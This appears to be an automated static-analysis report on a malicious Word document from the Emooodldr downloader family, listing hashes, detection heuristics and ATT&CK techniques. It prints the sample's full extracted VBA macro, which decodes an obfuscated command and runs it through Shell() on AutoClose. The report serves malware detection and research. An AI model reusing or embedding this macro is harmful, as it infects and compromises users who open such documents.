Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 e4d735594547dc26…

MALICIOUS

Office (OOXML)

54.0 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-02-04
MD5: 63074bf458228184828d9938941dd12c SHA-1: 81e9ad0bb72e459f2fd47c89cacd01c0efe3fb30 SHA-256: e4d735594547dc26fbb13846676cdaf387120da23756b4d5ae563da8a7609f3a
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is an OOXML document containing VBA macros, specifically an AutoClose macro that utilizes the Shell() function. This indicates an attempt to execute arbitrary code upon opening or closing the document. The ClamAV detection name 'Doc.Malware.Emooodldr-6711604-0' strongly suggests the Emooodldr family, which is known for downloading and executing second-stage payloads. The VBA code appears to be obfuscated but the presence of AutoClose and Shell() calls are critical indicators of malicious intent.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2096 bytes
SHA-256: 4863f809de067c245e921472e330c7263537c92b01a23795eb24a91f06fefcda
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Public Function sprague(uncials, photodramatist)

  estella = 507
  scourgeator = -1
  For Each veilmaking In photodramatist
    If veilmaking = uncials Then
     estella = scourgeator
     Exit For
    End If

    scourgeator = scourgeator + 1
    
  Next

  
  If estella = 507 Then
    estella = -1
  End If


  sprague = estella + 1
End Function


Private Function unevadable(supplementals)
  jobation = Array("x", "7", "Q", "c", "j", "t", "8", "5", "4", "u", "D", "o", "U", "E", "O", "h", "w", "9", "X", "A", "r", "Y", "B", "H", "d", "f")
  unthrottled = Array("?", "w", ":", "h", "s", "d", "i", "x", ".", "m", "a", "e", " ", "q", "p", "=", "o", "c", "j", "b", "r", "u", "/", "t", "y", "N")
  
  dehydration = vbNullString
  
  For Each asperser In supplementals
    limans = Application.Run("sprague", asperser, jobation)
    If limans > -1 Then
    dehydration = unthrottled(limans) + dehydration
    End If
  Next
  
  unevadable = StrReverse(dehydration)
  
End Function

Sub AutoClose()
  supplementals = Array("u", "j", "c", "H", "D", "4", "o", "5", "o", "U", "c", "H", "H", "O", "Q", "B", "B", "t", "E", "8", "7", "t", "8", "d", "E", "A", "7", "t", "E", "7", "t", "E", "Y", "7", "t", "4", "9", "w", "u", "B", "f", "f", "B", "j", "u", "8", "5", "4", "O", "c", "O", "x", "Y", "H", "u", "D", "h", "H", "w", "r", "X")
  juglandales = unevadable(supplementals)
  
  Application.Run "unceiled", (juglandales)
  
End Sub


Private Sub unceiled(chromatism)
   
   deform = 909
   kabayas = True
   
   While kabayas
     inviolateness = deform + 611
     If inviolateness - deform > 7 Then
       hyperopia = plausible + "ll"
       Call VBA.Shell(chromatism, vbNormalFocus - 1)
       kabayas = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 94415a95793326d183771cf2cd6df70b712337c2c090ad8a0bfb481a1abbdf81
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely